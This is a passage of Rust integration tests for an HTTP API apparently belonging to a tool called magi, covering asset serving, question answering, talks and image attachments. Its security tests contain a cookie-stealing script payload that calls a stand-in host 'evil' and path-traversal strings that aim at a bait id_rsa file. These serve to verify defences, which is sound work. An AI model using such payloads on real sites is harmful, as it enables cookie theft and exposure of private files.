4544 b"<script>fetch('http://evil/'+document.cookie)</script>",
4545 ),
4546 ("hook.js", b"fetch('http://evil/')"),
4547 ("data.json", b"{}"),
4548 ("HEADLINE.TXT", b"plain"),
4549 ],
4550 );
4551
4552 for name in ["notes.html", "hook.js", "data.json"] {
4553 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4554 assert_eq!(res.status, 200, "{name}: {}", res.body);
4555 assert_eq!(
4560 res.header("content-type"),
4561 Some("application/octet-stream"),
4562 "{name} must not be a type the browser will execute or render"
4563 );
4564 }
4565 let txt = fx
4568 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4569 .await;
4570 assert_eq!(
4571 txt.header("content-type"),
4572 Some("text/plain; charset=utf-8")
4573 );
4574 }
4575
4576 #[tokio::test]
4577 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4578 let fx = Fixture::start().await;
4579 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4580 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4584
4585 for encoded in [
4592 "%2e%2e%2fid_rsa",
4593 "..%2fid_rsa",
4594 "..%5cid_rsa",
4595 "%2e%2e%5cid_rsa",
4596 "diff%00.svg",
4597 "..",
4598 ".hidden",
4599 "%2e%2e%2f%2e%2e%2fid_rsa",
4600 ] {
4601 let res = fx
4602 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4603 .await;
4604 assert_eq!(
4605 res.status, 400,
4606 "`{encoded}` has to be refused by name, not looked up: {}",
4607 res.body
4608 );
4609 assert!(res.json()["error"].is_string(), "{}", res.body);
4610 }
4611
4612 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4618 let res = fx
4619 .get(&format!("/api/questions/{id}/asset/{literal}"))
4620 .await;
4621 assert_eq!(
4622 res.status, 404,
4623 "`{literal}` must not match the asset route at all: {}",
4624 res.body
4625 );
4626 }
4627 }
4628
4629 #[tokio::test]
4630 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4631 let fx = Fixture::start().await;
4632 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4633 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4634
4635 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
4639 assert_eq!(none.status, 404, "{}", none.body);
4640 assert!(none.json()["error"].is_string(), "{}", none.body);
4641 assert_eq!(
4642 fx.head(&format!("/api/questions/{plain}/panel"))
4643 .await
4644 .status,
4645 404,
4646 "the preflight is the only way the client can learn this"
4647 );
4648
4649 let missing = fx
4651 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
4652 .await;
4653 assert_eq!(missing.status, 404, "{}", missing.body);
4654 assert!(missing.json()["error"].is_string(), "{}", missing.body);
4655
4656 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
4658 assert_eq!(
4659 fx.get("/api/questions/nope/asset/diff.svg").await.status,
4660 404
4661 );
4662 }
4663
4664 #[tokio::test]
4665 async fn a_run_with_an_open_question_reads_as_waiting() {
4666 let fx = Fixture::start().await;
4667 let run = "20260902-000000-beef".to_owned();
4668 write_run(&fx.runs(), &run, RunStatus::Implementing);
4669
4670 let before = fx.get("/api/runs").await.json();
4671 assert_eq!(before[0]["waiting"], false, "{before}");
4672
4673 let store = fx.questions();
4674 let mut q = Question::new(
4675 run.clone(),
4676 "implement".to_owned(),
4677 "impl-A".to_owned(),
4678 "Which backend?".to_owned(),
4679 String::new(),
4680 vec!["SQLite".to_owned()],
4681 );
4682 store.put(&mut q).expect("put");
4683
4684 let during = fx.get("/api/runs").await.json();
4685 assert_eq!(during[0]["waiting"], true, "{during}");
4686
4687 q.answer(Answer::Choice("SQLite".to_owned()))
4690 .expect("answer");
4691 store.put(&mut q).expect("put");
4692 let after = fx.get("/api/runs").await.json();
4693 assert_eq!(after[0]["waiting"], false, "{after}");
4694 }
4695
4696 #[tokio::test]
4697 async fn an_open_question_is_listed_and_counted_by_health() {
4698 let fx = Fixture::start().await;
4699 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4700
4701 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4702 let listed = fx.get("/api/questions").await.json();
4703 assert_eq!(listed.as_array().expect("array").len(), 1);
4704 assert_eq!(listed[0]["id"], id);
4705 assert_eq!(listed[0]["status"], "open");
4706 assert_eq!(listed[0]["choices"][1], "Redis");
4707 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4710 }
4711
4712 #[tokio::test]
4713 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
4714 let fx = Fixture::start().await;
4715 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4716 let path = format!("/api/questions/{id}/answer");
4717
4718 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
4719 assert_eq!(res.status, 200, "{}", res.body);
4720 let body = res.json();
4721 assert_eq!(body["status"], "answered");
4722 assert_eq!(body["answer"]["choice"], "Redis");
4723
4724 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
4728 assert_eq!(again.status, 409, "{}", again.body);
4729 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
4730 }
4731
4732 #[tokio::test]
4733 async fn saying_something_appends_a_turn_without_answering() {
4734 let fx = Fixture::start().await;
4735 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4736 let path = format!("/api/questions/{id}/say");
4737
4738 let res = fx
4739 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
4740 .await;
4741 assert_eq!(res.status, 200, "{}", res.body);
4742 let body = res.json();
4743 assert_eq!(body["status"], "open", "talking back is not a decision");
4744 assert_eq!(body["answer"], Value::Null);
4745 assert_eq!(body["thread"][0]["who"], "operator");
4746 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
4747 assert_eq!(body["waiting_on_agent"], true);
4748 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4750 }
4751
4752 #[tokio::test]
4753 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
4754 let fx = Fixture::start().await;
4755 let store = fx.questions();
4756 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4757 assert_eq!(
4758 fx.get("/api/health").await.json()["questions_needs_owner"],
4759 1
4760 );
4761
4762 let res = fx
4768 .post(
4769 &format!("/api/questions/{id}/say"),
4770 Some(r#"{"body":"why not Postgres?"}"#),
4771 )
4772 .await;
4773 assert_eq!(res.status, 200, "{}", res.body);
4774 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4775 assert_eq!(
4776 fx.get("/api/health").await.json()["questions_needs_owner"],
4777 0,
4778 "waiting on the agent is not waiting on the owner"
4779 );
4780
4781 let mut q = store.get(&id).expect("get");
4785 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
4786 .expect("reply");
4787 store.put(&mut q).expect("put");
4788 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4789 assert_eq!(
4790 fx.get("/api/health").await.json()["questions_needs_owner"],
4791 1,
4792 "the agent's reply is what should light the banner back up"
4793 );
4794 }
4795
4796 #[tokio::test]
4797 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
4798 let fx = Fixture::start().await;
4799 let store = fx.questions();
4800
4801 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4802 let res = fx
4803 .post(
4804 &format!("/api/questions/{empty_id}/say"),
4805 Some(r#"{"body":" "}"#),
4806 )
4807 .await;
4808 assert_eq!(res.status, 400, "{}", res.body);
4809
4810 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4811 let mut answered = store.get(&answered_id).expect("get");
4812 answered
4813 .answer(Answer::Choice("SQLite".to_owned()))
4814 .expect("answer");
4815 store.put(&mut answered).expect("put");
4816 let res = fx
4817 .post(
4818 &format!("/api/questions/{answered_id}/say"),
4819 Some(r#"{"body":"still there?"}"#),
4820 )
4821 .await;
4822 assert_eq!(res.status, 409, "{}", res.body);
4823
4824 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4825 let mut abandoned = store.get(&abandoned_id).expect("get");
4826 abandoned.abandon("timed out");
4827 store.put(&mut abandoned).expect("put");
4828 let res = fx
4829 .post(
4830 &format!("/api/questions/{abandoned_id}/say"),
4831 Some(r#"{"body":"still there?"}"#),
4832 )
4833 .await;
4834 assert_eq!(res.status, 409, "{}", res.body);
4835 }
4836
4837 #[tokio::test]
4838 async fn an_answer_the_question_does_not_offer_is_refused() {
4839 let fx = Fixture::start().await;
4840 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
4841 let path = format!("/api/questions/{id}/answer");
4842
4843 for body in [
4844 r#"{"choice":"Postgres"}"#,
4845 r#"{"text":"whatever you think"}"#,
4846 r#"{"choice":"Redis","text":"both"}"#,
4847 r#"{}"#,
4848 ] {
4849 let res = fx.post(&path, Some(body)).await;
4850 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
4851 assert!(res.json()["error"].is_string(), "{}", res.body);
4852 }
4853 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
4855 }
4856
4857 #[tokio::test]
4858 async fn a_free_text_question_takes_text_and_not_a_choice() {
4859 let fx = Fixture::start().await;
4860 let id = ask(&fx, "What should the flag be called?", &[]);
4861 let path = format!("/api/questions/{id}/answer");
4862
4863 assert_eq!(
4864 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
4865 400
4866 );
4867 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
4868 assert_eq!(res.status, 200, "{}", res.body);
4869 assert_eq!(res.json()["answer"]["text"], "--json");
4870 }
4871
4872 #[tokio::test]
4873 async fn an_unknown_question_is_a_json_404() {
4874 let fx = Fixture::start().await;
4875 let res = fx
4876 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
4877 .await;
4878 assert_eq!(res.status, 404, "{}", res.body);
4879 assert!(res.json()["error"].is_string());
4880 }
4881
4882 #[tokio::test]
4889 async fn a_task_cannot_be_filed_over_the_phone_directly() {
4890 let f = Fixture::start().await;
4891
4892 let res = f
4893 .post(
4894 "/api/queue",
4895 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
4896 )
4897 .await;
4898
4899 assert_eq!(
4900 res.status, 405,
4901 "POST /api/queue must not be a route: {}",
4902 res.body
4903 );
4904 assert!(
4905 f.queue().list().is_empty(),
4906 "a task filed by a route that does not exist must not reach the disk"
4907 );
4908 assert_eq!(f.get("/api/queue").await.status, 200);
4911 }
4912
4913 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
4915 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
4916 .expect("checkout dir");
4917 }
4918
4919 #[tokio::test]
4920 async fn repos_list_returns_name_and_path_for_every_configured_root() {
4921 let tmp = TempDir::new().expect("tempdir");
4922 let repo = tmp.path().join("repo");
4923 std::fs::create_dir_all(&repo).expect("repo dir");
4924 let root = tmp.path().join("root");
4925 make_checkout(&root, "github.com", "yukimemi", "magi");
4926 std::fs::write(
4927 repo.join("magi.toml"),
4928 format!(
4929 "[repos]\nroots = [{:?}]\n",
4930 root.to_string_lossy().into_owned()
4931 ),
4932 )
4933 .expect("write magi.toml");
4934
4935 let f = Fixture::with_repo(repo).await;
4936 let res = f.get("/api/repos").await;
4937 assert_eq!(res.status, 200, "{}", res.body);
4938 let list = res.json();
4939 let repos = list.as_array().expect("an array");
4940 assert_eq!(repos.len(), 1);
4941 assert_eq!(repos[0]["name"], "yukimemi/magi");
4942 assert!(
4943 repos[0]["path"]
4944 .as_str()
4945 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
4946 "{list}"
4947 );
4948 }
4949
4950 #[tokio::test]
4951 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
4952 let tmp = TempDir::new().expect("tempdir");
4953 let repo = tmp.path().join("repo");
4954 std::fs::create_dir_all(&repo).expect("repo dir");
4955 let root = tmp.path().join("root");
4956 make_checkout(&root, "github.com", "yukimemi", "magi");
4957 std::fs::write(
4958 repo.join("magi.toml"),
4959 format!(
4960 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
4961 root.to_string_lossy().into_owned()
4962 ),
4963 )
4964 .expect("write magi.toml");
4965
4966 let f = Fixture::with_repo(repo).await;
4967 let first = f.get("/api/repos").await;
4968 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
4969
4970 make_checkout(&root, "github.com", "yukimemi", "rvpm");
4973 let second = f.get("/api/repos").await;
4974 assert_eq!(
4975 second.json().as_array().map(Vec::len),
4976 Some(1),
4977 "a fresh cache must not rescan inside the TTL"
4978 );
4979
4980 let refreshed = f.get("/api/repos?refresh=1").await;
4981 assert_eq!(
4982 refreshed.json().as_array().map(Vec::len),
4983 Some(2),
4984 "an explicit refresh must rescan even inside the TTL"
4985 );
4986 }
4987
4988 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
4994
4995 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
4999 let tmp = TempDir::new().expect("tempdir");
5000 let repo = tmp.path().join("repo");
5001 std::fs::create_dir_all(&repo).expect("repo dir");
5002 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5003 let f = Fixture::with_repo(repo.clone()).await;
5004 (tmp, repo, f)
5005 }
5006
5007 #[tokio::test]
5008 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5009 let (_tmp, _repo, f) = talk_fixture().await;
5010
5011 let opened = f.post("/api/talks", None).await;
5014 assert_eq!(opened.status, 201, "{}", opened.body);
5015 let body = opened.json();
5016 assert_eq!(body["status"], "open");
5017 assert_eq!(
5018 body["turns"].as_array().unwrap().len(),
5019 0,
5020 "opening takes no agent turn: there is nothing yet to answer"
5021 );
5022
5023 let also_opened = f.post("/api/talks", Some("{}")).await;
5025 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5026
5027 let listed = f.get("/api/talks").await.json();
5028 assert_eq!(listed.as_array().unwrap().len(), 2);
5029 }
5030
5031 #[tokio::test]
5032 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5033 let f = Fixture::start().await;
5034 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5035 let queue = f.queue();
5036 let mut mine = Task::new(
5037 "rename the loader".to_owned(),
5038 "rename the loader".to_owned(),
5039 PathBuf::from("/repo/magi"),
5040 Source::Agent {
5041 run: talk_id.clone(),
5042 node: "chat".to_owned(),
5043 },
5044 );
5045 queue.put(&mut mine).expect("file the task");
5046 let mut theirs = Task::new(
5047 "unrelated".to_owned(),
5048 "unrelated".to_owned(),
5049 PathBuf::from("/repo/magi"),
5050 Source::Human,
5051 );
5052 queue.put(&mut theirs).expect("file the task");
5053
5054 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5055 assert_eq!(res.status, 200, "{}", res.body);
5056 let body = res.json();
5057 assert_eq!(
5058 body["status"], "open",
5059 "filing a task does not close a talk"
5060 );
5061 let tasks = body["tasks"].as_array().expect("tasks array");
5062 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5063 assert_eq!(tasks[0]["id"], mine.id);
5064 }
5065
5066 #[tokio::test]
5067 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5068 let (_tmp, _repo, f) = talk_fixture().await;
5069 let id = f.post("/api/talks", None).await.json()["id"]
5070 .as_str()
5071 .expect("id")
5072 .to_owned();
5073
5074 let res = f
5075 .post(
5076 &format!("/api/talks/{id}/say"),
5077 Some(r#"{"text":"what does the queue module do?"}"#),
5078 )
5079 .await;
5080 assert_eq!(res.status, 202, "{}", res.body);
5081 let queued = res.json();
5082 let turns = queued["turns"].as_array().expect("turns array");
5083 assert_eq!(
5084 turns.len(),
5085 1,
5086 "the answer reflects only what is on disk the instant it is sent, \
5087 before the agent's turn - which can run for the whole of \
5088 `[graph] timeout_talk` - has a chance to land: {queued}"
5089 );
5090 assert_eq!(turns[0]["who"], "operator");
5091 assert_eq!(turns[0]["body"], "what does the queue module do?");
5092 assert_eq!(
5093 queued["thinking"], true,
5094 "the accepted response exposes the background turn claim: {queued}"
5095 );
5096
5097 let mut turns_after = 1;
5098 for _ in 0..200 {
5099 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5100 turns_after = detail["turns"].as_array().expect("turns array").len();
5101 if turns_after == 2 {
5102 break;
5103 }
5104 tokio::time::sleep(Duration::from_millis(10)).await;
5105 }
5106 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5107 }
5108
5109 #[tokio::test]
5110 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5111 let (_tmp, _repo, f) = talk_fixture().await;
5112 let id = f.post("/api/talks", None).await.json()["id"]
5113 .as_str()
5114 .expect("id")
5115 .to_owned();
5116 let store = f.talks();
5117 let mut recovered = store.get(&id).expect("opened talk");
5118 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5119 .expect("persist pending draft without a live turn");
5120
5121 let edited = f
5122 .post(
5123 &format!("/api/talks/{id}/pending/edit"),
5124 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5125 )
5126 .await;
5127 assert_eq!(edited.status, 200, "{}", edited.body);
5128 assert!(edited.json()["thinking"].as_bool().unwrap());
5129
5130 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5131 for _ in 0..200 {
5132 if detail["turns"].as_array().expect("turns").len() == 2 {
5133 break;
5134 }
5135 tokio::time::sleep(Duration::from_millis(10)).await;
5136 detail = f.get(&format!("/api/talks/{id}")).await.json();
5137 }
5138 let turns = detail["turns"].as_array().expect("turns");
5139 assert_eq!(
5140 turns.len(),
5141 2,
5142 "the recovered draft must run once: {detail}"
5143 );
5144 assert_eq!(turns[0]["body"], "corrected");
5145 assert_eq!(detail["pending"], "");
5146 }
5147
5148 #[tokio::test]
5149 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5150 let tmp = TempDir::new().expect("tempdir");
5151 let repo = tmp.path().join("repo");
5152 std::fs::create_dir_all(&repo).expect("repo dir");
5153 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5154 let f = Fixture::with_repo(repo).await;
5155 let id = f.post("/api/talks", None).await.json()["id"]
5156 .as_str()
5157 .expect("id")
5158 .to_owned();
5159 let store = f.talks();
5160 let mut recovered = store.get(&id).expect("opened talk");
5161 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5162 .expect("persist pending draft without a live turn");
5163
5164 let refused = f
5165 .post(
5166 &format!("/api/talks/{id}/say"),
5167 Some(r#"{"text":"new message"}"#),
5168 )
5169 .await;
5170 assert_eq!(refused.status, 409, "{}", refused.body);
5171 assert!(refused.body.contains("resume"), "{}", refused.body);
5172 let saved = store.get(&id).expect("draft remains after refusal");
5173 assert!(saved.turns.is_empty());
5174 assert_eq!(saved.pending, "saved before restart");
5175
5176 let say_path = format!("/api/talks/{id}/say");
5177 let (first, second) = tokio::join!(
5178 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5179 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5180 );
5181 assert_eq!(first.status, 409, "{}", first.body);
5182 assert_eq!(second.status, 409, "{}", second.body);
5183 let saved = store
5184 .get(&id)
5185 .expect("draft remains after concurrent refusals");
5186 assert!(saved.turns.is_empty());
5187 assert_eq!(saved.pending, "saved before restart");
5188
5189 let resumed = f
5190 .post(&format!("/api/talks/{id}/pending/resume"), None)
5191 .await;
5192 assert_eq!(resumed.status, 202, "{}", resumed.body);
5193 let duplicate = f
5194 .post(&format!("/api/talks/{id}/pending/resume"), None)
5195 .await;
5196 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5197
5198 for _ in 0..100 {
5199 if store.get(&id).expect("talk").turns.len() == 2 {
5200 break;
5201 }
5202 tokio::time::sleep(Duration::from_millis(10)).await;
5203 }
5204 let finished = store.get(&id).expect("finished talk");
5205 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5206 assert_eq!(finished.turns[0].body, "saved before restart");
5207 assert!(finished.pending.is_empty());
5208 }
5209
5210 #[tokio::test]
5211 async fn an_image_only_recovered_draft_resumes_without_text() {
5212 let (_tmp, _repo, f) = talk_fixture().await;
5213 let id = f.post("/api/talks", None).await.json()["id"]
5214 .as_str()
5215 .expect("id")
5216 .to_owned();
5217 let uploaded = f
5218 .post_bytes(
5219 &format!("/api/talks/{id}/attachments"),
5220 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5221 PNG_BYTES,
5222 )
5223 .await;
5224 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5225 let attachment = f
5226 .talks()
5227 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5228 .expect("attachment metadata")
5229 .expect("stored attachment");
5230 let store = f.talks();
5231 let mut recovered = store.get(&id).expect("opened talk");
5232 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5233
5234 let resumed = f
5235 .post(&format!("/api/talks/{id}/pending/resume"), None)
5236 .await;
5237 assert_eq!(resumed.status, 202, "{}", resumed.body);
5238 for _ in 0..200 {
5239 if store.get(&id).expect("talk").turns.len() == 2 {
5240 break;
5241 }
5242 tokio::time::sleep(Duration::from_millis(10)).await;
5243 }
5244 let finished = store.get(&id).expect("finished talk");
5245 assert_eq!(finished.turns.len(), 2, "{finished:?}");
5246 assert!(finished.turns[0].body.is_empty());
5247 assert_eq!(finished.turns[0].attachments.len(), 1);
5248 assert!(finished.pending_attachments.is_empty());
5249 }
5250
5251 #[tokio::test]
5252 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5253 let (_tmp, _repo, f) = talk_fixture().await;
5254 let id = f.post("/api/talks", None).await.json()["id"]
5255 .as_str()
5256 .expect("id")
5257 .to_owned();
5258 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5259 assert_eq!(closed.status, 200, "{}", closed.body);
5260 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5261 .expect("serialize closed talk");
5262 for (path, body) in [
5263 (format!("/api/talks/{id}/pending/resume"), None),
5264 (
5265 format!("/api/talks/{id}/pending/clear"),
5266 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5267 ),
5268 (
5269 format!("/api/talks/{id}/pending/edit"),
5270 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5271 ),
5272 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5273 ] {
5274 let response = f.post(&path, body).await;
5275 assert_eq!(response.status, 409, "{}", response.body);
5276 }
5277 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5278 .expect("serialize closed talk");
5279 assert_eq!(
5280 after_clear, before_clear,
5281 "clear must not rewrite a closed talk"
5282 );
5283 }
5284
5285 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5288
5289 #[tokio::test]
5290 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5291 let tmp = TempDir::new().expect("tempdir");
5292 let repo = tmp.path().join("repo");
5293 std::fs::create_dir_all(&repo).expect("repo dir");
5294 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5295 let f = Fixture::with_repo(repo).await;
5296 let id_a = f.post("/api/talks", None).await.json()["id"]
5297 .as_str()
5298 .unwrap()
5299 .to_owned();
5300 let id_b = f.post("/api/talks", None).await.json()["id"]
5301 .as_str()
5302 .unwrap()
5303 .to_owned();
5304
5305 let a = f
5306 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5307 .await;
5308 assert_eq!(a.status, 202, "{}", a.body);
5309 assert_eq!(a.json()["thinking"], true);
5310 let b = f
5311 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5312 .await;
5313 assert_eq!(b.status, 202, "{}", b.body);
5314 assert_eq!(b.json()["thinking"], true);
5315
5316 let listed = f.get("/api/talks").await.json();
5317 for id in [&id_a, &id_b] {
5318 let view = listed
5319 .as_array()
5320 .unwrap()
5321 .iter()
5322 .find(|talk| talk["id"] == *id)
5323 .unwrap();
5324 assert_eq!(view["thinking"], true, "{listed}");
5325 }
5326 let repeated = f
5327 .post(
5328 &format!("/api/talks/{id_a}/say"),
5329 Some(r#"{"text":"again"}"#),
5330 )
5331 .await;
5332 assert_eq!(repeated.status, 202, "{}", repeated.body);
5333 assert_eq!(repeated.json()["pending"], "again");
5334 }
5335
5336 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5339
5340 #[tokio::test]
5341 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5342 let f = Fixture::start().await;
5343 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5344
5345 let res = f
5346 .post_bytes(
5347 &format!("/api/talks/{id}/attachments"),
5348 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5349 PNG_BYTES,
5350 )
5351 .await;
5352 assert_eq!(res.status, 201, "{}", res.body);
5353 let body = res.json();
5354 assert_eq!(body["name"], "shot.png");
5355 assert_eq!(body["mime"], "image/png");
5356 assert_eq!(body["bytes"], PNG_BYTES.len());
5357 let att_id = body["id"].as_str().expect("id").to_owned();
5358 assert_eq!(
5359 att_id.len(),
5360 32,
5361 "the id must never be a client-suppliable path: {att_id}"
5362 );
5363
5364 let got = f
5365 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5366 .await;
5367 assert_eq!(got.status, 200, "{}", got.body);
5368 assert_eq!(got.header("content-type"), Some("image/png"));
5369 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5370 assert_eq!(got.bytes, PNG_BYTES);
5371 }
5372
5373 #[tokio::test]
5374 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5375 let f = Fixture::start().await;
5376 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5377
5378 let svg = f
5381 .post_bytes(
5382 &format!("/api/talks/{id}/attachments"),
5383 &[("Content-Type", "image/svg+xml")],
5384 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5385 )
5386 .await;
5387 assert!(
5388 (400..500).contains(&svg.status),
5389 "svg must be refused: {} {}",
5390 svg.status,
5391 svg.body
5392 );
5393 assert!(svg.body.contains("SVG"), "{}", svg.body);
5394
5395 let text = f
5396 .post_bytes(
5397 &format!("/api/talks/{id}/attachments"),
5398 &[("Content-Type", "text/plain")],
5399 b"just some text",
5400 )
5401 .await;
5402 assert!(
5403 (400..500).contains(&text.status),
5404 "an unlisted type must be refused: {} {}",
5405 text.status,
5406 text.body
5407 );
5408
5409 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5412 let big = f
5413 .post_bytes(
5414 &format!("/api/talks/{id}/attachments"),
5415 &[("Content-Type", "image/png")],
5416 &oversized,
5417 )
5418 .await;
5419 assert_eq!(
5420 big.status,
5421 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5422 "{}",
5423 big.body
5424 );
5425 }
5426
5427 #[tokio::test]
5428 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5429 let f = Fixture::start().await;
5430 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5431
5432 let res = f
5435 .post_bytes(
5436 &format!("/api/talks/{id}/attachments"),
5437 &[("Content-Type", "image/png")],
5438 b"<html>not a picture</html>",
5439 )
5440 .await;
5441 assert!((400..500).contains(&res.status), "{}", res.body);
5442 }
5443
5444 #[tokio::test]
5445 async fn an_unknown_attachment_id_is_a_404() {
5446 let f = Fixture::start().await;
5447 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
5448
5449 let res = f
5450 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
5451 .await;
5452 assert_eq!(res.status, 404, "{}", res.body);
5453 }
5454
5455 #[tokio::test]
5456 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
5457 let f = Fixture::start().await;
5458 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
5459
5460 let uploaded = f
5461 .post_bytes(
5462 &format!("/api/talks/{id}/attachments"),
5463 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5464 PNG_BYTES,
5465 )
5466 .await;
5467 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5468 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
5469
5470 let res = f
5471 .post(
5472 &format!("/api/talks/{id}/say"),
5473 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
5474 )
5475 .await;
5476 assert_eq!(res.status, 202, "{}", res.body);
5477 let queued = res.json();
5478 let turns = queued["turns"].as_array().expect("turns array");
5479 assert_eq!(
5480 turns.len(),
5481 1,
5482 "an empty body with an attachment is still a turn: {queued}"
5483 );
5484 assert_eq!(turns[0]["who"], "operator");
5485 assert_eq!(turns[0]["body"], "");
5486 let atts = turns[0]["attachments"]
5487 .as_array()
5488 .expect("attachments array");
5489 assert_eq!(atts.len(), 1);
5490 assert_eq!(atts[0]["id"], att_id);
5491 assert_eq!(atts[0]["mime"], "image/png");
5492
5493 let on_disk = f.talks().get(&id).expect("get");
5496 assert_eq!(on_disk.turns[0].attachments.len(), 1);
5497 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
5498 }
5499
5500 #[tokio::test]
5501 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
